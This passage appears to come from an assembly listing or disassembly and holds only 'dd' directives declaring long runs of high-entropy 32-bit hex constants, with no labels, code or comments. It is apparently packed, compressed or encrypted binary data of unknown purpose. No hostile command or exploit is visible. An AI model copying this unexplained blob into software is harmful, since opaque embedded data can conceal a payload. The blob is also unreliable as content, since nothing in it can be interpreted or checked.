76F7CF4Ah, 0B9C1EC02h, 80F86C54h, 0CAA906CBh dd 7AF02C15h, 3B8900A5h, 4A88A030h, 0C548ED00h, 0ADD4361Bh dd 0D7990062h, 9E55B16Bh, 0A2005F88h, 0F0E12601h, 0F630CB4Fh dd 1369007Ch, 9CF8A439h, 0F40788B8h, 7725292Ch, 9DAC6860h dd 0F52100D5h, 81D278ABh, 0D949E09Eh, 0A3D10384h, 0A8F93C44h dd 76798A72h, 85FA00F8h, 56DB3D31h, 0AD3E124Fh, 0E77680E2h dd 7A947E3Bh, 728100CCh, 40E432A1h, 797F2183h, 4A0BE1F6h dd 80840665h, 3B8A6C4Eh, 0D6EC1CB8h, 353443CDh, 0A6C8E251h dd 0F7039B56h, 0B25F39A9h, 35A24B9h, 22990071h, 55E5FDEDh dd 2AE1FC00h, 5A4B681Bh, 0AA17006Eh, 0BB97A0AFh, 807BF6E3h dd 0EEE27702h, 8069248Dh, 434C65C4h, 0CF1C135Fh, 6800BF0Bh dd 0AA255D6h, 54ED01FFh, 0FE7C3740h, 10BC4083h, 0A5F0079Eh dd 88A64700h, 49ED8C3Ch dd 3E590776h, 0F55E68A2h, 77F8F6h, 540CE389h, 1B6707h dd 0C3283155h, 35744798h, 0E3007970h, 0D1139B6Fh, 888D56h dd 5860BA84h, 72EC2059h, 490B2200h, 6B40BE6Ah, 0ABB103FCh dd 46265407h, 0D3CFC0BFh, 0E800FA84h, 1D521FDCh, 70D03258h dd 1794904Fh, 1471575Dh, 0AA079487h, 30D943A5h, 9B0FE810h dd 0BEA37D00h, 52A6B90Ch, 0C4420001h, 0BBB5D349h, 85004855h dd 0F4D7D50h, 22D42Eh, 8FBC0861h, 591BEDC6h, 3619B61Ch dd 0D49E64C0h, 50BE3Dh, 2F95D2AFh, 5FF6DFC2h, 19265E00h dd 2D633762h, 704F0FD5h, 7280F5FAh, 31437E49h, 73B1C001h dd 219C4C4Ah, 0C0687460h, 0ABE2F1AEh, 7C713EBBh, 700F9F6h dd 7D0C8578h, 7C27F5Bh, 0D88B32BCh, 1D0C387h, 0CDE650C0h dd 8171253Bh, 213D695Fh, 70F046E7h, 3FAD0086h, 83230949h dd 4C73BAA4h, 0F602A97Bh, 28DAC1FCh, 2A04610Fh, 0A7F0DFDDh dd 4BCD009Bh, 81A26288h, 24B00245h, 0BEAE0C0Ah, 0EE26F856h dd 3813F900h, 0F4308F6Eh, 7AE92CA9h, 78B02012h, 6C60E102h dd 404F483Ch, 3988B5A0h, 0CA6A3Ch, 63C3A501h, 0E660983h dd 531A9F1Eh, 0EA14EFC0h, 0CA0F1056h, 82A665F7h, 60E53B31h dd 893EA5h, 0BAC64EB8h, 769D32Bh, 31C4EE1Dh, 0F249007Eh dd 0E8D7F774h, 8EFA0053h, 28AECA1Eh, 7700B2ADh, 1B619856h dd 180185Eh, 0B6163CF9h, 0E8105BE8h, 0D700E2CBh, 0AD5921ACh dd 7F9E8B85h, 6B93026Ch, 5175AED5h, 89DC0AE0h, 9B24A303h dd 9FA5FF26h, 12B87EC0h, 13FB7A92h, 62E66Fh, 0A4043689h dd 0EB79B294h, 0B0FD59h, 3EFB82D2h, 0BD8B03h, 35683399h dd 7F9C8185h, 63691800h, 77F1C393h, 0F037078Dh, 3FC7FFBCh dd 11CE4007h, 0E83FE40Bh, 540074AFh, 11911A02h, 26A5C6F1h dd 14409BCh, 0B6D99E95h, 0A071C4C4h, 238F4500h, 0EB55831Ch dd 7C2502F5h, 0B4FEAFCDh, 0C3E3BEC0h, 5D87B200h, 7F6B8F4Dh dd 584F0043h, 8B697B94h, 5E00A633h, 2DC4D20Fh, 7E84DBAh dd 8C88B9A7h, 0AC4E609Eh, 53004C5Fh, 7597EAB1h, 75401B6h dd 0B7CE30F0h, 326510EEh, 0E000AC26h, 0CFD3B388h, 0EA1DBD50h dd 0F9561C46h, 0D4378C73h, 4700A1F4h, 54CC0B2Ch, 938769h dd 65D7A326h, 669DB07Bh, 0A2E83Ch, 216D0CB3h, 1C99CAFCh dd 722585h, 501992EAh, 0A400DAF4h, 0D87897C0h, 0E12F5h dd 7CB6C3ADh, 17109B47h, 76443Ch, 2C31B324h, 4C4F1907h dd 4C0008B2h, 0E247F05Fh, 1248E915h, 3E560060h, 1A2D26A0h dd 0A75E1FADh, 0FEDD1D23h, 1371360Eh, 4173435Eh, 0F5C89168h dd 0B021004h, 0FD7E7805h, 0B48D806Bh, 7FE1A62h, 0D83C8360h dd 9EE97017h, 52262142h, 2C1F009Ah, 1B86E240h, 3EDF723Eh dd 103A8943h, 1D3B881h, 0C7CB0447h, 0E21DA3EAh, 3830F684h dd 0F7D6007Ah, 100BEEF3h, 6700EA87h, 80BD33E5h, 0AF019Fh dd 0EF73D132h, 0DB262F2Eh, 4970B00h, 0F2256591h, 0E90A1752h dd 18D0019Ch, 60486154h, 437183D5h, 4430FF4Ah, 743BD32Ah dd 602C01E7h, 3331104Bh, 93BCCC87h, 0AE563Ah, 78E7EDC1h dd 51FA0Ch, 0BBF550EAh, 193B5FDFh, 0FD445700h, 0B36205BDh dd 4268074Fh, 3102A8FFh, 30F1FB2Fh, 5D003070h, 0B6532DACh dd 4F8DD321h, 8BD00063h, 291BE987h, 0E33EA300h, 0C165141Fh dd 6C804C1Ah, 46B20500h, 7EBA22B4h, 59231600h, 483FEC49h dd 54F71C40h, 5B5E0060h, 0E94A6B8Ah, 14206824h, 0F1A72F07h dd 0D57C85B0h, 2167009Ch, 0D89059F4h, 5507C911h, 4318C7EEh dd 0A5304840h, 0DE563DC2h, 0AE2F1500h, 9CCFE0FCh, 7DB93600h dd 0B06882A7h, 0FEDC26A2h, 1609020Dh, 0BCE0AAE3h, 409983ECh dd 0A9936500h, 721033Ch, 0B9575069h, 1504A032h, 0FA00257Fh dd 0CB179141h, 6A7E0Eh, 375565E4h, 675C748Ah, 69EFEA07h dd 0E9403C4Ch, 38E0D8h, 78FEC6DFh, 219AC852h, 2D11B00h dd 0EE7F4641h, 0E4A40037h, 360131ACh, 65005217h, 8CA7CEA9h dd 7BF55821h, 0D66E0EB0h, 7D20E6E1h, 0B847F8AAh, 5A50FC00h dd 0D7187E8Bh, 0B7D301C9h, 0E59FE1F9h, 49C6F87Ch, 24730B03h dd 0A8D6D775h, 0F31CD82h, 0B22703D0h, 8FDE9A80h, 1C05CF7Eh dd 5D470A32h, 0F81090C3h, 293E13h, 0C255788Ch, 0A8DEA577h dd 80EAF400h, 13281EC9h, 0CEFB0067h, 0B7FE8D96h, 542590A9h dd 0CAC43899h, 1CC00B5h, 183D6BF9h, 0B9055051h, 0D3FD554h dd 1537F4A0h, 0BCA2EE58h, 3D004E3Dh, 0FCFB3A54h, 0CD094976h dd 8277ADB5h, 0C0160844h, 1D6A8274h, 80572B8Bh, 62C636BDh dd 53043AFEh, 4BC059B0h, 0C421A80h, 0CDAD007Fh, 6BE42071h dd 6078454h, 8E6716ABh, 538B43C0h, 70CA2433h, 0D3303B08h dd 806A7DE0h, 0F1E3AB0Dh, 2EE0C132h, 575B070Bh, 0C948D2h dd 0BB565A13h, 76F1B200h, 0E8C39403h, 7412001Ah, 0A92D1E10h dd 9DE69E16h, 52E6A118h, 734658E8h, 49B008Fh, 0CB6338C8h dd 1F3AAA88h, 8A259EA7h, 2692A480h, 0FC5A566h, 0B5AE2C73h dd 203D8EE7h, 3A314919h, 2E0D8300h, 53CA78F7h, 6E673D6Dh dd 0B9D68A05h, 4BEC81ADh, 77BDF064h, 95E1C01h, 34BB113Bh dd 6F7BC40h, 0B7190022h, 0E4EEB5E6h, 0E01D88D6h, 8D40AA4Ah dd 83D1E1A1h, 0F21A0328h, 7858153Dh, 8F1BDB98h, 8CAE0A60h dd 5C0CCADh, 0AFE18530h, 5087D0h, 812D94F6h, 980023B0h dd 7A176292h, 0A3F61F0h, 2343B570h, 0F4FF009Ch, 2DCA9783h dd 3004BF8h, 8DD484B0h, 4C6AD0FDh, 34001C77h, 0F61B25CAh dd 0E000E22Dh, 0A06394BBh, 789610BDh, 18A7EA40h, 0C61F83ABh dd 9812CA8Bh, 0EF002119h, 45B1C420h, 0E0850552h, 2DD07B9h dd 9C9A3080h, 0B2098851h, 21EC00E4h, 0F1F6342h, 0A87CA44Fh dd 0E294C300h, 31C6756h, 0EF00E1FCh, 5DCF2898h, 266300FAh dd 6B3D6CBFh, 0FEF0DB45h, 79B9E50Fh, 7AF5E038h, 0EAE9C70Ch dd 0F2DE18D1h, 9C5D19FBh, 9400747Bh, 9DB57281h, 3038EA3h dd 91F96B44h, 59C12475h, 0D04C219Bh, 4A73A9CFh, 835BB514h dd 3A2E078Ch, 0B0200DCEh, 0C9B1B4h, 93E5B8ECh, 0A34C21F1h dd 39D9E200h, 0E7AAB389h, 1BDA030Dh, 798DC736h, 606CE5B0h dd 4E61B40Eh, 89FE008Fh, 952656h, 0B1B21A32h, 0DB866A25h dd 2812D412h, 10EE1C49h, 3D06AAF4h, 2B12CC21h, 2614007Ch dd 6B0F3B83h, 0A0A13602h, 6007392Eh, 35524Ah, 4B8937CEh dd 66FDD7ABh, 706458h, 6A9596BCh, 76146319h, 0E8E773Ah dd 0B66F26Dh, 5AC767C1h, 0B44FFCE7h, 0A3D76000h, 25FF64D3h dd 0B87FE8Bh, 0C8427761h, 577AE782h, 977280D5h, 4B96C1h dd 6A9065CEh, 0CFA75C6Bh, 0C31D0800h, 0F26C3460h, 4D990151h dd 1BCCDC7Fh, 30F9C9CBh, 3600ACB0h, 89AB2B80h, 178C881h dd 48AF7267h, 38174154h, 950E007Ch, 407F3C5h, 7ABE2C81h dd 0B3A401F8h, 70710BC4h, 200FCEAEh, 7260D0h, 0D2408817h dd 0E28E0754h, 307B7EDFh, 81E8D56Bh, 80344Ch, 0A24127DDh dd 7292352h, 3A4A6CCDh, 6EA7E1D1h, 342D30h, 70E09857h dd 27B83EE5h, 20909CD2h, 4802148Fh, 861C2D0Eh, 8D8E04Fh dd 0D1AE17D7h, 0E0B087A0h, 58749AB2h, 0C3627600h, 0C12719DFh dd 36CB87Dh, 1020BAA0h, 9DC19206h, 7D883C53h, 281CE06h dd 1D14BC9h, 9CF7E6ABh, 6A8ED36Bh, 0E0086203h, 4C0BD7Dh dd 0B4FB95h, 6BF1D711h, 0B5D80A27h, 41ED8702h, 0E0B9B737h dd 0E4EFE1h, 14455049h dd 9D601B2Ch, 89929100h, 158716A8h, 1D49429h, 0C9DA6C71h dd 0C40A00F3h, 0BE9A0094h, 812046B8h, 0DB003C4Fh, 22A078EEh dd 0B6C1C8h, 47976FF8h, 75605749h, 13CBB58h, 0D941043Bh dd 0A9DC7231h, 0A7510078h, 4CC8B995h, 0B80E8912h, 0E0E4FCB3h dd 719AA2Ah, 1FA4003Fh, 0E10A2170h, 9002D87Fh, 463BD705h dd 0B0ED6387h, 2CC61581h, 6188A139h, 0F44793C5h, 2C025CB7h dd 5878BF55h, 7A2CC0C7h, 2AD4070Ah, 80140CF4h, 0DCA5A16Fh dd 6E166207h, 0BEC2ECCBh, 0B880C360h, 1D81Dh, 7242B209h dd 0F4660B9Bh, 0E8BD3D07h, 0E29F6ED7h, 0FAF78916h, 0AC57189Ch dd 0C90D419Eh, 68E0DE0Eh, 8339A0E8h, 90623Fh, 155DCC88h dd 26272472h, 80F1123Fh, 190AEC4Ch, 0ADDD6Fh, 0EA2285D3h dd 3E35E4A3h, 0A425EF00h, 78BCD22Ah, 0D4AA00B9h, 67ECB04Dh dd 0C700DC5Ch, 4D13C3Fh, 9CE94Bh, 0C60C3101h, 0F5D61FDDh dd 7C138D78h, 6C20849Eh, 0A00A04B4h, 942388h, 1F16DB39h dd 0FCC7E8AEh, 40376E03h, 0C8245Fh, 0F621E5E9h, 0B22A332Eh dd 2B695A01h, 734EEF5Dh, 879DF18Fh, 7BABC05Fh, 6EF78E94h dd 78EA5512h, 79E06CC7h, 6F97D7h, 0BE379BB3h, 7EA4F05Fh dd 1500EEE4h, 3592FB9Fh, 3D2C7B8Dh, 100368BAh, 0EE26AC81h dd 6EA8EF99h, 940B2100h, 0DDC76Ah, 5DFC20DAh, 0B058A73Ah dd 0C9681400h, 5E46D972h, 0A44C030Bh, 8301511Ah, 41B37880h dd 951DA500h, 0D97AFEE7h, 0A42300EFh, 0FF302AA9h, 431F66EEh dd 764F11B7h, 4D8B80C0h, 166C3E2Ch, 7CDBA0h, 0C56BCE75h dd 0E8001960h, 7BE44025h, 382DCD6Eh, 7F4DEE6h, 804AB1F7h dd 5011D7D9h, 85886A33h, 0C8CD71E3h, 0A900FCF6h, 0D1245327h dd 0F2F1EA8Bh, 69A70345h, 2965EC4Fh, 8FFABAE0h, 0D4604Dh dd 0E564E861h, 4CF09E2h, 207F7583h, 288F658h, 509A1CA8h dd 41D78016h, 3B7AE0h, 5A6245C3h, 0DCE43F49h, 0EBCEAD0Eh dd 0F6BE419Dh, 3860F71Ah, 0C8A14129h, 9200BF77h, 0C27AAA11h dd 0B8620957h, 2A2E0098h, 19E1A2ADh, 63048F2Fh, 91E87F56h dd 997540C0h, 15F91DB5h, 0FC2425h, 0AFEEC955h, 5A494CE2h dd 0E4E10004h, 46F9CDB4h, 0DE984C92h, 21B3350Bh, 9C525480h dd 740CE00Ah, 5896124Ah, 0D3F500A6h, 5C6A5E5Fh, 0BD3D8920h dd 0BB55800Ah, 4E392D07h, 0F6221CC7h, 87E792E4h, 0E0CEA060h dd 0CC005835h, 0D41192Dh, 279BD86Dh, 6080648Ch, 359A23D3h dd 0C73BA11Eh, 0F403A2C0h, 40290266h, 3E000B0Ah, 4F1DE842h dd 0F792A854h, 0BBDD8440h, 0CD23003Ah, 0B95242D7h, 2600776Dh dd 0E4B0ADBh, 1D2E7F8Ch, 434C86h, 0ECED68EAh, 9700DBD8h dd 3E44CCEFh, 2C8759h, 47131ADEh, 0FEA41F7Ah, 75002FF2h dd 0E4EC25C8h, 5C3BE55Ch, 7B00A38Ch, 0D64C5EA4h, 7500C181h dd 79310CB0h, 96F0BFh, 21EDF352h, 0D663D06h, 8AFBCB00h dd 0B070DCB7h, 259A00E6h, 562894F4h, 0D07F6FC5h, 34075973h dd 0AF0EE69h, 0BCB28880h, 3E073942h, 40DEA200h, 0CEB3BC4h dd 0FFBFB000h, 30D35793h, 3A8F7948h, 0F7008CC3h, 0CE757F2Eh dd 5B00ADC6h, 5C11030Ch, 0B0E4CCh, 0F8C2E864h, 0A23F5130h dd 32A0FE01h, 84F9DEA6h, 146A834h, 0CF49EFB4h, 0C075FB3Ch dd 725CCAC4h, 26ED05C8h, 0D2C0BCA9h, 72DEAE4Fh, 0A1A303C8h dd 51FC88C1h, 4CA405C8h, 324FBD00h, 0F45F9CA2h, 0C7F8C5h dd 0E730603Dh, 0BD41B1C8h, 0D6F12E00h, 4421B836h, 881F0083h dd 5DCF1215h, 0BE016805h, 0B7DF6665h, 0AEC32D9h, 741600F1h dd 21E3EAAEh, 0F5582FA6h, 0EFF0088h, 0B5CA1BF3h, 0C1BB8A5h dd 8DA3F4E2h, 83009DB9h, 851580EBh, 255E5678h, 78804004h dd 0BEC86001h, 0D27AD898h, 0FE49B17Bh, 97CE005Ch, 0CC1E9209h dd 0B3710050h, 0C8166A78h, 4801BE61h, 39699D19h, 0FCE060CFh dd 0F8F41D5Eh, 0E5AFC05Dh, 3B32D6D0h, 15F5FA0Fh, 802D40E0h dd 79B57025h, 0CCB6481Ah, 960EE200h, 0FDC53DA0h, 0FCDE1E00h dd 0A41D6856h, 485EABh, 0F92C8E48h, 98F0C051h, 30280409h dd 90C480C4h, 0FC52EAh, 0B7C57FB9h, 0DB8DB17Eh, 0BED8790Ch dd 26F9833h, 21CA8E57h, 4EC06BF4h, 0DF3DE31Eh, 502EFE5Dh dd 3089A898h, 0CE482h, 0E6D04D35h, 0B7B658A8h, 12463A00h dd 0DA68B9E1h, 25D907EAh, 65C342BDh, 0B544F0B4h, 0BEED7D1Eh dd 782483BCh, 0B8E2AE12h, 0C59830h, 9516DDADh, 9CCBEADBh dd 133CFC5Ch, 5300225Eh, 0B8BD6049h, 0DE8B0008h, 0C802D31Bh dd 0E1000119h, 544688D1h, 51F41Eh, 0CE30B2CCh, 0C5039F39h dd 0FBDC2D0Ch, 7A8CA0h, 8C1BC74Ch, 3F108031h, 3E8F071Eh dd 40E0504Fh, 0A8EC497Ah, 1CF003Ah, 0AD19B70Ch, 0B6010859h dd 0D27B5C7Ch, 1C2071DBh, 820D02D4h, 326B2CDEh, 141EC6E0h dd 0CC49D203h, 981967FAh, 562E36h, 0CB8D9F3Dh, 9BADFB09h dd 694DA600h, 7F44B2EDh, 271300B6h, 0BC2B7EAh, 78048812h dd 0E1221AD1h, 7288A4h, 9DDE73A6h, 51F06013h, 49C48412h dd 8B4C0070h, 0BAF852h, 41F74055h, 0A5540D7Ch, 8970262Dh dd 4D03Bh, 165E51C2h, 4367743Fh, 5FEEDC00h, 821ECDD9h dd 0E49F3EC0h, 29349100h, 308B9059h, 97255C00h, 0D80D7164h dd 80693E47h, 0D678B400h, 0E857587Dh, 0E0B67216h, 88C51000h dd 1E4D25ECh, 4014C7CDh, 0FC284AA7h, 4942CABh, 90F5EE80h dd 5C3C7B46h, 0B875082Ah, 29B01D78h, 0E923C1D2h, 0C4F6B1A6h dd 0D400E8C8h, 69BD4FC9h, 0F793CAh, 0B89B341Bh, 4018A56Eh dd 0AF30701h, 0C25A8E39h, 1CB2BADCh, 4003FF60h, 3E376441h dd 51000CFEh, 236881E0h, 27BC5E8Dh, 9D534Ch, 104B88C2h dd 7D02B483h, 7046606h, 0E48CC04Dh, 40AF072Ah, 0A1FE081Dh dd 29F6206Bh, 0D836B054h, 0E57A3E16h, 0A01D2A83h, 0D4A84E02h dd 403929Bh, 0F6366BF9h, 0C9278834h, 0B7240F71h, 405F95BEh dd 0EDE9E0ABh, 33009A9Dh, 66FA09D3h, 0AE235Fh, 0E82AAA84h dd 5408E3F3h, 1E003B90h, 9D86CC42h, 2CDDA1h, 0ADF6BF18h dd 36E2BBD3h, 7882EA05h, 8F806334h, 58DBF0B4h, 4B00937Ah dd 0DAA643F8h, 0D600EED1h, 65926A29h, 708C37BFh, 33B900D0h dd 51E8BAAh, 3548A19Ah, 8E451E09h, 78B0C380h, 0E80258h dd 660A77EDh, 1EB56C99h, 0D748E000h, 50F1EBB3h, 655C0EE8h dd 0DEA09F47h, 8C995441h, 1500C378h, 5B04B2ACh, 36EE5A8h dd 2AE7B6ECh, 11802B5Eh, 80E2F3A4h, 553E0201h, 4F7AEEA6h dd 0F93BFCh, 1FAF7729h, 5220ED65h, 9776FE01h, 48D1CA24h dd 2D8D3C0h, 74B21134h, 0E17E8Bh, 99EE0DBh, 7A685200h dd 37053A16h, 0A5690036h, 23C10FA1h, 4100B313h, 81D35BB1h dd 7714FA8h, 0AD442852h, 12BD10E4h, 0DEF40EC7h, 0F95DFE00h dd 2C560333h, 0FF7A004Bh, 0A2EEEA9Dh, 0E000311Fh, 8E55B124h dd 19B236h, 0C0A32708h, 2E3D91Eh, 0D054A500h, 0E8ECBE92h dd 0CBE88Eh, 0D1E54BA9h, 50365129h, 8808CE00h, 5FE82673h dd 97E90141h, 7618632Eh, 33B020E1h, 0F99B4501h, 0DB8774Ah dd 1E4308CCh, 40EF0307h, 27426515h, 8A009136h, 0F6710C6Fh dd 199E3AC5h, 116E240Eh, 43AC40B0h, 0FB034EEAh, 3113010Ch dd 9824C046h, 1C680011h, 0A353E11Dh, 88002EE2h, 2F0341A6h dd 3ED412h, 1EECF44Fh, 879718DDh, 0F880B74Eh, 0F24A8059h dd 9FD7003Dh, 4FE50B41h, 1E7B57EAh, 6900AEE0h, 26CE85CFh dd 744C0673h, 3FBD0022h dd 171BBCC1h, 0F20220CBh, 0F7FCD3B8h, 43AA809Eh, 98A21D6Ch dd 987AEEF4h, 1A3E00E4h, 0AE32E968h, 3D00EFE8h, 6BEB019Eh dd 6C24DF6h, 5D862875h, 0D1009882h, 9DF0838Fh, 0FEC5A684h dd 7EA006Bh, 854B0945h, 68007689h, 287EE7A2h, 10E8BD0h dd 6E8A845Dh, 0E0DFFF56h, 763C0AF4h, 91D0807Bh, 0DAF7949Ch dd 71751C25h, 0A8283E43h, 0FCB63E0Ch, 0F38CEC85h, 0E8D8808Eh dd 0DC01606Fh, 0BEF54F30h, 19808FD9h, 475F95C7h, 171E7CB7h dd 0A59F1558h, 8F4A7A00h, 1C74006h, 0D1F4A720h, 3F59BC6Ch dd 8846E000h, 3338950h, 0E191108Eh, 5781F3F8h, 3E73E463h dd 254D7500h, 8665F660h, 0BD75B8h, 0D7A30515h, 40A6A8C5h dd 6A7FF900h, 106D6F5Ch, 2A730030h, 0FA621F93h, 8901F7E3h dd 0C8E9CC70h, 9ED0FCBCh, 7FE205h, 0ADD7E647h, 0C2D18EF7h dd 0DCDD0805h, 0EEC33114h, 3DB5E098h, 15F30099h, 0BA7E701Ah dd 0AF0F3260h, 605488EAh, 0F894AD1Eh, 0D10003Fh, 7F8E9F87h dd 0D100AF16h, 0FB9CE914h, 0FB445CCAh, 1F383022h, 4A2F6309h dd 540C0500h, 5C7A1CC6h, 327B8C02h, 40A75038h, 0B02914h dd 0B4FF677Ch, 853645D6h, 99C43A00h, 0FAD193B6h, 0CE711D73h dd 0B72680CFh, 2236B229h, 76791100h, 3938556Bh, 0AF980067h dd 0D97C1426h, 0AD01A963h, 6A574091h, 0CDE06CC6h, 9E8D1C94h dd 540BC0CFh, 964BFB32h, 0D507DD77h, 56B33462h, 28ACBE45h dd 0DC546D00h, 0D18C3A31h, 0D8813B30h, 3D209F4Dh, 8707AE1Dh dd 0C0D7EC9Eh, 0F54A88FAh, 23B55C0Bh, 5B706091h, 84E50FA5h dd 37A5D51Ah, 802C029Eh, 6F02273Eh, 82C010E9h, 44B6CA88h dd 0A20466E8h, 0DD23B8DFh, 0C7B9F930h, 84470B80h, 3F7BB410h dd 9B6FF308h, 0AD264484h, 1E638608h, 6CB08E72h, 61594039h dd 21248120h, 48049CCFh, 70739D1h, 0E080C880h, 87AA65D0h dd 0E2318612h, 3185B110h, 0CA55E908h, 0A2F184h, 54193229h dd 58A8009h, 0CF3DD2D7h, 0B8820050h, 64C0AA31h, 0A40035F8h dd 0BB8C614Dh, 0F0B45EDAh, 6F7FE6Bh, 3F5875ECh, 560181B0h dd 0C55A6EBDh, 0C88082F0h, 34E45812h, 88006DB6h, 0E85FA2DBh dd 1E139F8Ch, 0ECB476DDh, 0A41E1FBAh, 57D00004h, 0A4D992ADh dd 9BF5001h, 0A69A6CEh, 7B0EA9BFh, 0FFA1D5h, 1EE289A2h dd 4E13AA6Dh, 144A8DACh, 141E08Bh, 2824DA0Bh, 3B35757Fh dd 1200EAA2h, 2B04C23Ah, 0AF0BBDA5h, 0C02040B2h, 1FD8E818h dd 8F9AF5C4h, 3C60FD37h, 0F1587C3Fh, 9C200460h, 0D08A4Fh dd 0D7E9AD82h, 52FFEEEh, 0BA5042FCh, 870381FCh, 611369B6h dd 88100DDh, 92518415h, 500629Bh, 1276275Bh, 7C950790h dd 0C9173882h, 28D08B80h, 7520A1E7h, 0A968C000h, 0AED8979h dd 0E253F94h, 4D2ACC80h, 0A8E3DBDDh, 61C9D800h, 22A9219Dh dd 0D7280064h, 5D0AFCCCh, 0ED00381Fh, 0EEF47040h, 784BE7C5h dd 509549A9h, 407D0B12h, 0EB895B08h, 0E70094A0h, 2217F319h dd 8D0963h, 28AF53EEh, 6159E0Eh, 76F76838h, 3C2CC6FCh dd 4F002136h, 1ABA7840h, 23FC3C27h, 5E562C09h, 10730D86h dd 0BD049453h, 7CC62FF8h, 0AB070162h, 0EEE20FB9h, 0C0BFD341h dd 4CC70675h, 0D93D9A00h, 8B33C6Ch, 292B602Eh, 0C6AC4475h dd 456E9200h, 0EA41BAA4h, 977FB0h, 75F5138Eh, 0A0CFD8F9h dd 4B65380Bh, 628F0034h, 7BA278h, 1ABF3B01h, 0BB3DFB58h dd 5B13950Fh, 7D7AEFC8h, 0C56245C0h, 163B4142h, 118F79h dd 80E60435h, 0EA7220C6h, 3A582500h, 75AE9618h, 9294008Eh dd 0C8DDED1h, 0C9014EB3h, 76B8245Eh, 0B4C8E1BFh, 0F237861h dd 9A6D2F22h, 1C7568E2h, 8750D048h, 3600A3E0h, 0D23C80F7h dd 16A7AA2h, 0B79C04D0h, 0D11FB475h, 0A39AD471h, 2D02B6ECh dd 31DA5576h, 0FD374068h, 97F00E3Ah, 0A9226D0Eh, 9EE0840Ch dd 0A400510Fh, 0C5CBD6A5h, 6DFB299h, 72E611A7h, 0BA0F0ADEh dd 0E030AE9Dh, 0CBFD33CFh, 0C9C800D4h, 0DB87604Bh, 7EF4DF2Fh dd 0C0D09900h, 1495E1F3h, 9A351D0Ch, 9D00BA34h, 5E15389Ch dd 0FE18D39Fh, 0C6F6B4B0h, 6979BEh, 462CD079h, 9FE3D457h dd 7442771Dh, 0A6A30B82h, 0A08FE356h, 55B198h, 20FE52F6h dd 87BA86C2h, 65298400h, 91BDE24h, 0BC260B54h, 6D8FFAA2h dd 5E4EA320h, 0EE037787h, 0E6E9A7BEh, 0BE80DC5Ah, 4495E3h dd 4CE02AA8h, 0C36EB858h, 8060660Bh, 2FF8BFh, 18729DE7h dd 9C12740Eh, 7A18638h, 19E55DD3h, 13E9D541h, 1B818840h dd 376200B5h, 0EE8AB204h, 0D0005A7Fh, 0C08B1F5Bh, 0FE19D6h dd 96C11570h, 2928017Ch, 0C7008074h, 0E3E8BC9Dh, 0BE7F18h dd 0FEF42438h, 0DC434F63h, 90D0C00h, 0F79544E6h, 0D32E00E7h dd 0F1451338h, 3D76CD22h, 498FB600h, 20CB57B4h, 3BE700BDh dd 2ABEBBC9h, 0E6002CA9h, 0CF5E04CAh, 0EC1296h, 8D4CEB92h dd 0FC988068h, 7B6FD703h, 0E061D518h, 3C5C2205h, 68008676h dd 0F690B0EFh, 0A09462Dh, 805F3557h, 7336B54Ch, 52810015h dd 0A21603EEh, 310F8F6Dh, 0E0D3978Bh, 4A70342Bh, 5EFF00C3h dd 3CBCFE18h, 0B30066ECh, 5804C58Dh, 31A92AAh, 94112687h dd 88D8F7A2h, 0CEC78064h, 0D2A00F66h, 3B2042FCh, 0C8073E89h dd 2948A004h, 68D7B200h, 3100E398h, 5379106Bh, 22E16Eh dd 0AF2381C5h, 67845782h, 16FA2505h, 0C0BFE6D0h, 0FD7DD4FEh dd 0A3340700h, 82986C09h, 0EB0E5C2Eh, 3FAA1900h, 5285E7CBh dd 8C4AA4A0h, 43B48h, 0AAAC8D34h, 986BC432h, 3541FBBh dd 0DD88C014h, 5E358C06h, 80A7EF3Bh, 2E6257AFh, 376AB8A4h dd 126ECE86h, 7060CA3Fh, 60222E9h, 64EB1309h, 6DF841D3h dd 0F500BBF5h, 41009AE5h, 236CF2C2h, 13F68CEh, 946062B2h dd 40EEF5F4h, 3A8A72F6h, 0A5D7220Ch, 0F063808h, 0EE9CA655h dd 63DDD400h, 750E877Eh, 0E073415Ah, 0E7094C2Dh, 0E3E40051h dd 4DFECEC2h, 7D1C0F69h, 41008101h, 2F2976A1h, 0B2850087h dd 80B54F75h, 0D9E0A61Ch, 9F093B3Bh, 53808A8Dh, 3CF84AFCh dd 8401008Ch, 0D3DDE11Ch, 0CF00F40Dh, 8D6AA799h, 92E240h dd 0E764F726h, 25A1C255h, 3CF878E6h, 99FEA400h, 0C4DC8B7Ah dd 0C5130043h, 0B2C1539Ah, 81008460h, 20ACDFDAh, 741AF53Eh dd 15630033h, 697B9E1Eh, 79F4299Dh, 0C42A8E02h, 4265373Ch dd 3A40099h, 9BB698h, 0BCA8E1E5h, 0BB9F51CBh, 45882D00h dd 0B8C0946h, 0F0F6001Ah, 7249E6DAh, 4B48772Fh, 0EB23E90h dd 0E0B93137h, 0A31F4379h, 5F9C1FD2h, 8F0F80DCh, 8B74DD45h dd 0A54544Ch, 0DC5B2531h, 0F9183F40h, 0C37F07h, 2DEE5A89h dd 224421Eh, 683C4A00h, 0FDF39117h, 0EADC00A8h, 0A0E9205Ah dd 1E3D2E04h, 147607FEh, 694316h, 8BA44A58h, 0F72F0248h dd 65887CEh, 27A85043h, 597FCDEFh, 0B5CAFA07h, 92A019E4h dd 48C5C761h, 81C7ACA3h, 33BF017h, 0E877C1AFh, 29059198h dd 56C7F06Ah, 1B45D807h, 439706E0h, 187E28Bh, 0DFB91424h dd 0DC11C47Ch, 7F00ADE1h, 52C31A5Eh, 7E1B4207h, 75131E72h dd 8C23031Fh, 6B90C8B3h, 7476B00Bh, 22988E14h, 12707CAh dd 910013FEh, 0F6CEC4h, 701FF58Ch, 80EB793Eh, 9B71E900h dd 0AB8B099Dh, 3C0C006Dh, 36F88D51h, 0B61E38D0h, 238016BBh dd 0C0E256EBh, 74090F2h, 0B8A18374h, 1CF150BEh, 0FE07CD61h dd 0A55E549Eh, 0A75807F0h, 92C30EA0h, 4200BF70h, 0A65A298Dh dd 3AFAE315h, 2FA550A8h dd 6A0FFB03h, 9802257Ch, 140D98h, 9B89F2F5h, 0ABD88DB6h dd 6AED4800h, 7C2ED127h, 0A77A74h, 9B6BB2EAh, 0D8131D45h dd 56E8601h, 8041B926h, 49C05C61h, 535930F5h, 0DF79F870h dd 17116401h, 22A4B8E0h, 11121898h, 0CA40A698h, 9BF077h dd 0D635EE03h, 89C1BA61h, 50A9CE14h, 0C6D100BBh, 3C2901D2h dd 0DD8300ABh, 27DAC52Ch, 120051B2h, 0EDCBE467h, 0CBC7F0Dh dd 45AC53F7h, 0C926AD90h, 4400DD9Ah, 3E5B3657h, 0FFF6167Bh dd 0B5FD00E1h, 64AFC3ACh, 0E2EB0600h, 5B2220E0h, 50BAEEh dd 7706ACAh, 48317C47h, 